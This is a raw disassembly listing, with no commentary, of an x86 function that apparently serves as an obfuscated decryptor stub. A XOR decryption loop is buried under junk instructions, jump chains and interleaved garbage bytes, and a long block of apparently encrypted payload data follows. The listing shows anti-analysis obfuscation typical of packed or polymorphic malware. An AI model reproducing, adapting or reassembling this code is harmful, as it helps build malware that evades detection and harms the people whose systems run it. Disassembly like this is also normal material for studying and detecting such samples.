loc_4090CB:				; CODE XREF: sub_408E23:loc_40909Dj
		xor	[ecx+edi], eax
		jmp	short loc_4090FC
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dd 8FEE69F0h
		db 1Ch,	25h, 0FAh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_4090D7:				; CODE XREF: sub_408E23:loc_4090FCj
		jmp	short loc_40910C
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 0ABh, 8, 0A1h
		dd 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h
		dd 49501302h, 57C6F4Eh,	81688B5Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_4090FC:				; CODE XREF: sub_408E23+2ABj
		jmp	short loc_4090D7
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dw 6726h
		dd 3B2BD14h, 5FFEB980h,	7B0A75ACh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_40910C:				; CODE XREF: sub_408E23:loc_4090D7j
		dec	ecx
		push	esi
		push	ebx
		xchg	esi, esi
		mov	si, 4A58h
		jns	short loc_40911D
		or	esi, 80A29Ah


loc_40911D:				; CODE XREF: sub_408E23+2F2j
		inc	ebx
		xor	esi, esp
		not	esi
		push	edi
		pop	ebx
		lea	ebx, ds:81905Ah
		cld
		pop	ebx
		pop	esi


loc_40912D:				; CODE XREF: sub_408E23+5C6j
		sub	eax, 3071E39Eh
		jmp	short loc_409162
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dd 0BAE5DC4Fh
		db 6Bh,	0C8h, 61h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_40913B:				; CODE XREF: sub_408E23:loc_409162j
		jmp	short loc_409177
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 86h,	47h, 74h
		dd 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh
		dd 3C2F0E09h, 284B1AC5h, 0D427E641h
		db 7Dh,	72h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409162:				; CODE XREF: sub_408E23+30Fj
		jmp	short loc_40913B
; ---------------------------------------------------------------------------


loc_409164:				; CODE XREF: sub_408E23:loc_409177j
		jmp	short loc_409196
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dw 40C3h
		dd 6C1FBE79h, 583BCA35h, 41796B1h
		db 0EDh, 22h, 0B3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409177:				; CODE XREF: sub_408E23:loc_40913Bj
		jmp	short loc_409164
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 70h,	0E9h, 6Eh
		db 0Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_40917D:				; CODE XREF: sub_408E23:loc_409196j
		jmp	short loc_4091AD
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 9Ch
		dd 882B7AA5h, 34074621h, 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h
		db 91h,	0F6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409196:				; CODE XREF: sub_408E23:loc_409164j
		jmp	short loc_40917D
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh, 323D94E7h
		db 83h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_4091AD:				; CODE XREF: sub_408E23:loc_40917Dj
		xor	ax, 0A93Eh
		push	edx
		push	ebx
		xor	ebx, edi
		dec	edx
		dec	edx
		push	esp
		pop	edx
		xor	edx, edi
		test	ecx, ecx
		shl	edx, 97h
		inc	edx
		neg	edx
		neg	ebx
		xor	edx, ebx
		lea	ebx, ds:80A01Ah
		dec	edx
		cld
		pop	ebx
		pop	edx
		ror	ax, 7Ah
		jmp	short loc_409205
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 8Ah
		dd 567118FBh
		db 0D7h, 0C4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_4091DE:				; CODE XREF: sub_408E23:loc_409205j
		jmp	short loc_409215
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dd 3073E2ADh, 5CCF2EA9h, 48EB3A65h, 0F4C706E1h,	6063921Dh
		dd 8CBFDE19h, 78DBEAD5h, 24B7B651h, 9053428Dh
		db 89h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409205:				; CODE XREF: sub_408E23+3B2j
		jmp	short loc_4091DE
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 8Eh
		dd 9A45BCAFh, 66C1A8CBh, 0F2FD54A7h
		db 43h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409215:				; CODE XREF: sub_408E23:loc_4091DEj
		ror	ax, 17h
		push	eax
		push	ecx
		xchg	eax, eax
		xchg	ecx, eax
		xor	ecx, edi
		cmp	cl, cl
		xor	eax, ebp
		shr	ecx, 0F4h
		push	ecx
		pop	eax
		cld
		pop	ecx
		pop	eax
		ror	al, 1Ah
		push	esi
		push	ecx
		mov	esi, 80A01Ah
		and	ecx, 810F1Ah
		cld
		pop	ecx
		pop	esi
		xor	al, 36h
		push	esi
		push	ebx
		mov	esi, ecx
		test	al, ch
		sbb	esi, 80AA5Ah
		repne xor ebx, edx
		sbb	ebx, 80989Ah
		cld
		pop	ebx
		pop	esi
		xor	al, 35h
		push	eax
		push	edx
		not	edx
		test	al, dl
		mov	eax, 809D9Ah
		lea	eax, ds:8119DAh
		xor	eax, edi
		dec	edx
		not	eax
		xchg	eax, edx
		dec	eax
		cld
		pop	edx
		pop	eax
		ror	eax, 12h
		push	ebx
		push	esi
		xor	ebx, eax
		inc	ebx
		cld
		pop	esi
		pop	ebx
		ror	eax, 0C0h
		jmp	short loc_4092B4
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dd 8FEE69F0h
		db 1Ch,	25h, 0FAh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_40928F:				; CODE XREF: sub_408E23:loc_4092B4j
		jmp	short loc_4092C4
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 0ABh, 8, 0A1h
		dd 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h
		dd 49501302h, 57C6F4Eh,	81688B5Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_4092B4:				; CODE XREF: sub_408E23+463j
		jmp	short loc_40928F
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dw 6726h
		dd 3B2BD14h, 5FFEB980h,	7B0A75ACh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_4092C4:				; CODE XREF: sub_408E23:loc_40928Fj
		sub	eax, 90BAC3Ch
		jmp	short loc_4092FB
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 57h
		dd 0F3622D44h
		db 0B0h, 29h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_4092D2:				; CODE XREF: sub_408E23:loc_4092FBj
		jmp	short loc_409312
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dd 0E5DC4FAEh, 61C86BBAh, 9D744786h, 99E0E312h,	550C3F5Eh
		dd 0D1F85B6Ah, 0DA43736h, 910D3C2h, 0C53C2F0Eh
		db 1Ah,	4Bh, 28h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_4092FB:				; CODE XREF: sub_408E23+4A6j
		jmp	short loc_4092D2
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 41h,	0E6h, 27h
		dd 0C3727DD4h, 1FBE7940h, 3BCA356Ch, 1796B158h
		db 4, 0EDh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409312:				; CODE XREF: sub_408E23:loc_4092D2j
		xor	eax, 69B80124h
		jmp	short loc_40933B
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 0A5h, 7Ah, 2Bh
		dd 7462188h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409320:				; CODE XREF: sub_408E23:loc_40933Bj
		jmp	short loc_409352
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dw 5D34h
		dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h,	0C9D09382h
		db 0CEh, 0EFh, 0FCh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_40933B:				; CODE XREF: sub_408E23+4F4j
		jmp	short loc_409320
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 85h,	0DAh, 0Bh
		db 0E8h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409341:				; CODE XREF: sub_408E23:loc_409352j
		jmp	short loc_409371
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 1
aJcf2g		db '¦ç”=2ƒ',0
		db 39h
		dd 0F52CDF7Eh
		db 8Ah,	0FBh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409352:				; CODE XREF: sub_408E23:loc_409320j
		jmp	short loc_409341
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dd 0D7567118h, 73E2ADC4h, 0CF2EA930h
		db 5Ch,	65h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409362:				; CODE XREF: sub_408E23:loc_409371j
		jmp	short loc_409390
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dd 0E148EB3Ah, 1DF4C706h, 19606392h
		db 0DEh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409371:				; CODE XREF: sub_408E23:loc_409341j
		jmp	short loc_409362
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 0BFh
		dd 0DBEAD58Ch, 0B7B65178h, 53428D24h, 0AF8E8990h, 0CB9A45BCh
		dd 0A766C1A8h, 43F2FD54h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409390:				; CODE XREF: sub_408E23:loc_409362j
		ror	ax, 0F8h
		push	eax
		push	ecx
		mov	ecx, edi
		jnb	short loc_4093A1
		lea	ecx, ds:808CDAh
		dec	eax


loc_4093A1:				; CODE XREF: sub_408E23+575j
		lea	eax, ds:80A49Ah
		cmp	al, 0C9h
		not	eax
		mov	eax, ebp
		cld
		pop	ecx
		pop	eax
		sub	eax, 979D27DAh
		push	esi
		push	ecx
		lea	esi, ds:80A31Ah
		xor	ecx, edx
		mov	ecx, 80925Ah
		test	al, bh
		cld
		pop	ecx
		pop	esi
		xor	[ecx+edi], eax
		push	esi
		push	ebx
		push	eax
		pop	ebx
		jz	loc_4093E3
		cmp	al, 0CAh
		or	ebx, 80989Ah
		shl	esi, 55h
		neg	ebx


loc_4093E3:				; CODE XREF: sub_408E23+5ADj
		cmp	al, 0F2h
		cld
		pop	ebx
		pop	esi
		dec	ecx
		jnz	loc_40912D
		jmp	short loc_409421
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 97h,	84h, 6Dh
		dd 69F033A2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_4093F8:				; CODE XREF: sub_408E23:loc_409421j
		jmp	short loc_409433
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dw 8FEEh
		dd 0ABFA251Ch, 87C6A108h, 2352DDB4h, 7F9ED920h,	9BAA954Ch
		dd 77761138h, 13024DE4h, 6F4E4950h, 8B5A057Ch
		db 68h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409421:				; CODE XREF: sub_408E23+5CCj
		jmp	short loc_4093F8
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 81h
		dd 0BD146726h, 0B98003B2h, 75AC5FFEh
		db 0Ah,	7Bh, 98h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409433:				; CODE XREF: sub_408E23:loc_4093F8j
		pop	ecx
		push	ebx
		push	edx
		test	ecx, ecx
		dec	edx
		cld
		pop	edx
		pop	ebx
		pop	edi
		jmp	short loc_40946B
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 0B0h
		dd 0DC4FAE29h
		db 0E5h, 0BAh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409446:				; CODE XREF: sub_408E23:loc_40946Bj
		jmp	short loc_40947B
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh
		dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh
		db 4Bh,	28h, 41h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_40946B:				; CODE XREF: sub_408E23+61Aj
		jmp	short loc_409446
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 0E6h, 27h, 0D4h
		dd 40C3727Dh, 6C1FBE79h
		db 35h,	0CAh, 3Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_40947B:				; CODE XREF: sub_408E23:loc_409446j
		pop	esi
		push	edi
		push	eax
		push	ecx
		pop	edi
		cmp	esi, esp
		push	eax
		pop	edi
		cmp	al, 0C2h
		not	edi
		mov	di, 4A49h
		cld
		cld
		pop	eax
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0EDh
		dd 0EB228ED5h, 0E970B30Bh, 0A59C0F6Eh, 21882B7Ah, 0D210EB53h
		dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 68CD64F7h,	228ED5EDh
		dd 5E95Bh, 93820000h, 2BCEC9D0h, 0BE9D3h, 0FCEF0000h, 0E80BDA85h
		dd 94E7A601h, 53515B3Dh, 80CBDAB9h, 33D9F700h, 33E43BC9h
		dd 3C5B53CEh, 0FCD98BE8h, 5255595Bh, 0C1CB8553h, 0CA814AC2h
		dd 80885Ah, 0DE33DA8Bh,	685A5BFCh, 10000000h, 0E8C15150h
		dd 0C140413Ch, 0C98725D0h, 5859FCF5h, 8B56535Dh, 33C785F1h
		dd 0C89ABEF5h, 0F08B0080h, 4A41BE66h, 5EFCDE87h, 0EBC0335Bh
		dd 3073E22Ah, 5CCF2EA9h, 3A6531EBh, 6E148EBh, 921DF4C7h
		dd 0DE196063h, 0EAD58CBFh, 0B65178DBh, 428D24B7h, 8E899053h
		dd 0EB45BCAFh, 0A8CB9ADBh, 2EEB66C1h, 0F2FD54A7h, 0EBF9C043h
		dd 0EC9F3EF5h, 0EBBB4AB5h, 1631D82Dh, 0A26D8497h, 0EE69F033h
		dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h, 0DFEB4C7Fh
		dd 389BAA95h, 0E4777611h, 5013024Dh, 0F8834E49h, 84840F01h
		dd 0EB000000h, 1467262Fh, 0B2BD43EBh, 0FEB98003h, 0A75AC5Fh
		dd 0D6F1987Bh, 622D4457h, 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh
		dd 129D7447h, 5E99E0E3h, 6A550C3Fh, 0F85BD2EBh,	0EB3736D1h
		dd 0C20DA42Bh, 0E0910D3h, 1AC53C2Fh, 0E641284Bh, 0D4ECEB27h
		dd 727D29EBh, 0BE7940C3h, 0CA356C1Fh, 96B1583Bh, 22ED0417h
		dd 6EE970B3h, 9C0FE6EBh, 882B7AA5h, 34074621h, 0A0A3D25Dh
		dd 8BFF1E59h, 5608246Ch, 47D7C157h, 8B5E5FFCh, 0CD2AEBC5h
		dd 0C9D09382h, 85FCEFCEh, 1E80BDAh, 30EBE7A6h, 83323D94h
		dd 0DF7E3900h, 0FB8AF52Ch, 0D7567118h, 73E2ADC4h, 0CF2EA930h
		dd 65E3EB5Ch, 0EB48EB3Ah, 0C706E12Eh, 63921DF4h, 0BFDE1960h
		dd 0DBEAD58Ch, 5178EDEBh, 8D24B7B6h, 53422CEBh,	0AF8E8990h
		dd 0CB9A45BCh, 0A766C1A8h, 43F2FD54h, 0EB3EF9C0h, 0B5EC9FE7h
		dd 31D8BB4Ah, 6D849716h, 69F033A2h, 251C8FEEh, 5ABFAh
		dd 0EB000005h, 20235229h, 9ED937EBh, 0AA954C7Fh, 7611389Bh
		dd 24DE477h, 4E495013h,	5A057C6Fh, 2681688Bh, 0B2BD1467h
		dd 0FEB98003h, 0D8EBAC5Fh, 987B0A75h, 0D62DEBF1h, 622D4457h
		dd 0AE29B0F3h, 0DCF2EB4Fh, 0C86BBAE5h, 74478661h, 0E0E3129Dh
		dd 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh, 3C2F0E09h
		dd 50005h, 3C565200h, 905ABACAh, 0E6C10084h, 5EFC4649h
		dd 0EBD08B5Ah, 40C3722Bh, 0BE7939EBh, 0CA356C1Fh, 96B1583Bh
		dd 22ED0417h, 6EE970B3h, 7AA59C0Fh, 4621882Bh, 0D25D3407h
		dd 1E59A0A3h, 2A15CCFFh, 0B81BD6EBh, 0F627EB91h, 82CD64F7h
		dd 0CEC9D093h, 0EB85FCEFh, 0E80BDAF0h, 2DEBA601h, 323D94E7h
		dd 7E390083h, 8AF52CDFh, 567118FBh, 0EAEBC4D7h,	3073E2ADh
		dd 5CCF2EA9h, 48EB3A65h, 0F4C706E1h, 6063921Dh,	8CBFDE19h
		dd 0C281D5h, 53000006h,	1A358D56h, 33008189h, 0CD3CFCD8h
		dd 5D5B5EFCh, 87F55157h, 5F59FCFFh, 84535752h, 5BFC90CAh
		dd 0C35Fh, 48h dup(0)
		dd 0C2CCB8FEh, 0E88477C0h, 36F44E34h, 104893A8h, 0F2AA4B33h
		dd 767F0166h, 57EB6BD0h, 7194FF6Eh, 7B626B3Eh, 25287398h
		dd 75DF3A4Eh, 0F3164A0h, 4CC2B0E5h, 0BB101206h,	0A3CD5C5Ch
		dd 8D0CD11Bh, 7B1EB5B6h, 7584295Ch, 22CA3E53h, 0BB4151Ah
		dd 0FB18A161h, 0A4BDCFB9h, 0CA543Ah, 285AFABFh,	0B3048B83h
		dd 0B2342B02h, 2C3E73E6h, 74F9BBCh, 0EEDA7869h,	0FDEBD7CBh
		dd 0A895EB45h, 2066D5BCh, 0BEBB8574h, 0C918C7A4h, 0F4033A9h
		dd 53D1D9B7h, 0B7EA1E8Eh, 68E3F8CFh, 8B565AFEh,	6F71E0EBh
		dd 80BD6486h, 6917CECh,	0DF43A8A3h, 43A3FD98h, 0F3785C8Bh
		dd 40C14DC3h, 0B859CCAFh, 8BE9ED23h, 48C45C1Ah,	0B2425B78h
		dd 33B4E770h, 3D6F2E07h, 9B2029ACh, 7D0D25EAh, 15494745h
		dd 82E802Fh, 3889FBFBh,	0A9C94295h, 41A0C338h, 167CE99Fh
		dd 3C651CB4h, 3835F7FDh, 0E1734B20h, 693B9CE6h,	1CF6A043h
		dd 74B3B65Ch, 553B1405h, 71846619h, 0B9A14BAFh,	37C01B39h
		dd 1D9EE807h, 0CBD706DEh, 8DF9F54Eh, 6B251F37h,	7B76D29Ch
		dd 7CA88D28h, 0B3CF803Ch, 0D11BF5A4h, 0B4287C05h, 2AFDD4FFh
		dd 0E7C109Ch, 2963F1DAh, 43836053h, 0AE461173h,	0CE4A044Ah
		dd 0E50E8D39h, 1EFD83C0h, 4024D402h, 23871419h,	4742AD06h
		dd 7C75844Ch, 29FBDAC9h, 4ACEA0CFh, 626B9523h, 5C63C38Bh
		dd 0C4BC4FFCh, 0E6F206F0h, 955923CAh, 0E729DDBCh, 618EB704h
		dd 920805B9h, 88E2992Bh, 0B02F0700h, 0BE55462Bh, 0F3D7411h
		dd 0A5A4D9A5h, 0C7AD9961h, 0BF7FEAB8h, 6A4193A2h, 4AB23BDEh
		dd 0CAC739EBh, 75A8A67Fh, 5CB96BA5h, 5254FD66h,	0F1BDF36Ah
		dd 89CADD23h, 85EAEDE9h, 5850F81Eh, 7CC250Bh, 0B4F25918h
		dd 0CFF1E6A6h, 228F2A00h, 4F68D1C0h, 3EE9021h, 0B7EAF89Dh
		dd 9745EEBAh, 9E39BDBAh, 0C17DC62Eh, 368ADAFDh,	93F222D7h
		dd 0B54833ACh, 6FC704Dh, 7D89FCDAh, 0F859B4B2h,	27CE9F54h
		dd 19E500E9h, 1FB2504Ch, 0A7434124h, 366E5B48h,	0F53462C2h
		dd 34117FB3h, 59029DB5h, 4A866DE4h, 6AFEF4C9h, 0ECF55334h
		dd 634D0A65h, 8EDE88CAh, 1E2CEA59h, 1252A124h, 91046E5Ah
		dd 0ACD0B157h, 0ABA9B7ECh, 0B9BD1247h, 856A2171h, 0C20629D5h
		dd 0FDE9495Eh, 22824199h, 0D5417CB6h, 9968E961h, 0BD221654h
		dd 0B155EB5Fh, 0FDF1024Bh, 0C8734168h, 1494672Fh, 0E33F94ACh
		dd 0D0FEFD74h, 8522D68Fh, 3027295Bh, 0CC8A0A7Fh, 0FCEF5B10h
		dd 935F46C0h, 0B0404FE7h, 9F9E3544h, 894BD382h,	0F271A1EDh
		dd 4EC28220h, 0AA137F2Ch, 0D6A46CD7h, 6F4EB4BDh, 4138100Ah
		dd 3F50385Ah, 464844DBh, 69686D9Ch, 280B712Ch, 459A6959h
		dd 0F0F0049Dh, 0DCE2D451h, 4031C17Fh, 259C074Bh, 60BF334Eh
		dd 0C3380E8Fh, 0AA2728FEh, 63AF98E0h, 4FDB00BDh, 1516C5EDh
		dd 7B72C544h, 81BAE9C1h, 0B23A5FC1h, 7475A76Ah,	8DBEABD2h
		dd 853123B3h, 859A11E8h, 92DF0ECDh, 0FBA95DF8h,	986E63A8h
		dd 0EC762B94h, 5AF9041Ah, 0D96624BDh, 46574890h, 0A528B593h
		dd 0F01624B3h, 7CD40D4Bh, 3845E5D5h, 328830A6h,	39239BDh
		dd 0D45FA947h, 80F9BD4h, 3A20BC6Fh, 643200D0h, 0B5D298A4h
		dd 0F0E3ED4Bh, 10134220h, 0DE8D993Eh, 0E26F7A49h, 6F0068E5h
		dd 0B7BD13FAh, 243FE8AEh, 91E6A17Ah, 0E24CD445h, 0E7F54493h
		dd 475CD6BDh, 97E922AAh, 9ADA6ED3h, 63CFCE53h, 27A095D3h
		dd 55745A2Dh, 94D6BC9Eh, 7DF494ACh, 5699D31Eh, 0A6AA73Ch
		dd 0A5478D37h, 0F8BFF728h, 0B4B14F5h, 59850473h, 86492861h
		dd 2F3BCFEFh, 6599DDB2h, 8B784E10h, 14E4028Ah, 7E00E1D7h
		dd 72413465h, 85A5729Bh, 72802B39h, 2EE7A662h, 0EF3EB1D9h
		dd 0B459F3Fh, 92C812B0h, 98F3BA31h, 0BBD912DDh,	0E46C3157h
		dd 5DE5FC93h, 0AB246C0Fh, 20FFFE10h, 8B47E291h,	5A852239h
		dd 9F645592h, 19B0479Fh, 7FA9CA37h, 14B1F708h, 0E002EA13h
		dd 81CF5717h, 847EFE4h,	0FD0F417Ah, 41AB00A4h, 86364148h
		dd 9FFF2E20h, 0F4E68222h, 763CA893h, 0D8723E17h, 951B82EDh
		dd 623E7D39h, 5619E53Ah, 0ECFBFD5Dh, 1FD63F21h,	0DD8454C1h
		dd 5677B88Eh, 8B1C3240h, 272CA6E2h, 0CF806072h,	0B4FA8CE0h
		dd 0E03043E7h, 0F6914C90h, 0A4119304h, 7D921C62h, 49802E96h
		dd 2417AF9Eh, 979035E7h, 8095C315h, 0A7D3DFE9h,	2B71562Ah
		dd 8B110D71h, 0D58D6E8Ah, 6F9B698Ch, 2B243DC0h,	4AA2728Fh
		dd 56014E7Eh, 0E86C646Fh, 0CC71EC6Fh, 0D44D6376h, 0DE8F4966h
		dd 5DFC6B81h, 8E6C0F0Ah, 3C277E09h, 1EDC0A26h, 0CC2C769Bh
		dd 0A005263Eh, 70437719h, 0E6004DFCh, 807807FAh, 1F57B637h
		dd 7B8DD920h, 32EEF7D4h, 0DF49E741h, 0C2DCCC4Ch, 4C729B1Ch
		dd 171025CFh, 4A3EDCC0h, 41780464h, 0D5BF1DF7h,	6A67D781h
		dd 3838127Bh, 3B7BD7EEh, 0FD7193D6h, 599F7702h,	879F21F1h
		dd 6906851Dh, 0C88762C9h, 3CEEBC3Ch, 56939F7h, 0D4BA0F2Ah
		dd 0A1FEF5BAh, 0AE16A60Eh, 8083A763h, 0BBDDA8BDh, 1DBB4AADh
		dd 515D4E8Dh, 83037F4Ch, 45ADF793h, 52A33156h, 130C7A30h
		dd 0F0D457DEh, 1F8C6A19h, 65EAA085h, 879FC7D2h,	0ECD50D20h
		dd 6FABADF6h, 514A58FEh, 0C60F3C1Eh, 0CBD52C7h,	50358823h
		dd 0BD02B4FAh, 0FD5F06B6h, 64E957F0h, 181F6315h, 4CE94F9Dh
		dd 2F34A1B7h, 9ACA2FA1h, 7D0C2BCDh, 8FBF03BAh, 0A176975Eh
		dd 556F3F62h, 822F1CE0h, 0B2183788h, 0D2AA0A24h, 0CAC9D48Fh
		dd 0C176BBF3h, 29162323h, 0BE0972Dh, 6836136Ch,	6069699Bh
		dd 47C53D52h, 0E5DEC6A9h, 86B14AE8h, 73F94417h,	0ABCBC6ECh
		dd 0E4C85BE8h, 0A5ACE444h, 617058A7h, 0FD0D0DC0h, 25D20031h
		dd 0EE60D5FEh, 5C01475Ch, 4FE9A5B8h, 8491245h, 939E855Dh
		dd 0A67FCED8h, 0A897D976h, 0B231B376h, 0B168A94h, 0A3B7699Eh
		dd 56CC07ABh, 0CE30B5E7h, 3B71E0CDh, 3F4C4EC8h,	35425C7Eh
		dd 68D50054h, 1504943Dh, 0C424B665h, 0FAB75F94h, 0A4A824DCh
		dd 528A714Fh, 0C354C728h, 5C0739E0h, 0E649DFB8h, 0C062A52h
		dd 636D03E9h, 8F0DFD9h,	5F4F19D3h, 2F52865h, 105ADD2h
		dd 7DD02605h, 805B4378h, 19B9B0D7h, 87539495h, 4C195689h
		dd 0C06D0FFCh, 4D935FBAh, 68F5B6EBh, 33B1C0C5h,	36D3DC11h
		dd 0A248A429h, 0F7049E25h, 2C1527CCh, 0E1AE3B3Dh, 3340483Ch
		dd 3E1F8AFBh, 0E9B4ECCDh, 42CFC7F8h, 7AFDA96Ah,	0CFF8F6A6h
		dd 0DB98A38Ah, 3F452A9Ch, 37B75221h, 56B18F4Dh,	899A9330h
		dd 45F95773h, 0D28C1383h, 0AA2B3C5Eh, 2F4C2B69h, 2E400529h
		dd 0FBEE62CAh, 2526A82Ah, 30DBF6AAh, 0E72F3F43h, 8667F060h
		dd 6E34FFE8h, 2AC2DE32h, 977F2CB6h, 0E71CBEDCh,	8C0DC19Ch
		dd 85FE755Ch, 4DEC50E5h, 0A3B1DBC1h, 6C6E8AB0h,	87E47F17h
		dd 0D5396360h, 84AB3BCDh, 1D469BFEh, 0B33F76DAh, 4F67DCD8h
		dd 9FC73366h, 0AC69A20Bh, 127C12BDh, 0D53175C5h, 92D5E9ABh
		dd 9184DA21h, 69B31080h, 2C73A5FDh, 3F0882DFh, 0F442AD87h
		dd 87EB04F3h, 0E618FDF0h, 29969224h, 8CE7CC3Ch,	0FCC6BB81h
		dd 0C838AB5Bh, 0D3ED7001h, 0A2E535C6h, 836DA411h, 4EA2ABB3h
		dd 0A88EA5F0h, 3B32D4D5h, 0EC35394Fh, 5A5C04B4h, 0EBDE812Bh
		dd 0B4938990h, 5301E7BCh, 0F0DF0656h, 4AAD297Dh, 976B68EAh
		dd 0C342F72Eh, 0C7472D1Ah, 3945C769h, 0E578A7C4h, 6317CD9Fh
		dd 7505269Eh, 49A307BFh, 6D7D98B2h, 5AA4DE6Ah, 6D18F115h
		dd 4EA1BBB7h, 8FD874B5h
		dd 7DD45D3Ch, 0EBEF2D28h, 87191777h, 267BCE55h,	47D038F8h
		dd 0C00C4FA5h, 0BAF26423h, 45B26DD8h, 69737BCDh, 5E34DC32h
		dd 0FE40CEEAh, 7DBCA8CDh, 9E93E0B5h, 70E231F8h,	796C078Fh
		dd 1EE2F0DEh, 0AD4FA93Ah, 126CBE99h, 0C82D7105h, 1607F1DFh
		dd 0A9C1C29Eh, 0F9584E3h, 23DBC07Bh, 786DB4ABh,	1ADAB1F6h
		dd 74B9F0C2h, 95AA98A6h, 0B393A299h, 33137Fh, 695899Bh
		dd 91A63846h, 0CC148FFDh, 0B017F077h, 6EBAC57Eh, 9D34A281h
		dd 0CEC0843h, 0E96544B8h, 3C738ACCh, 5B1F841Dh,	0BA65A19Eh
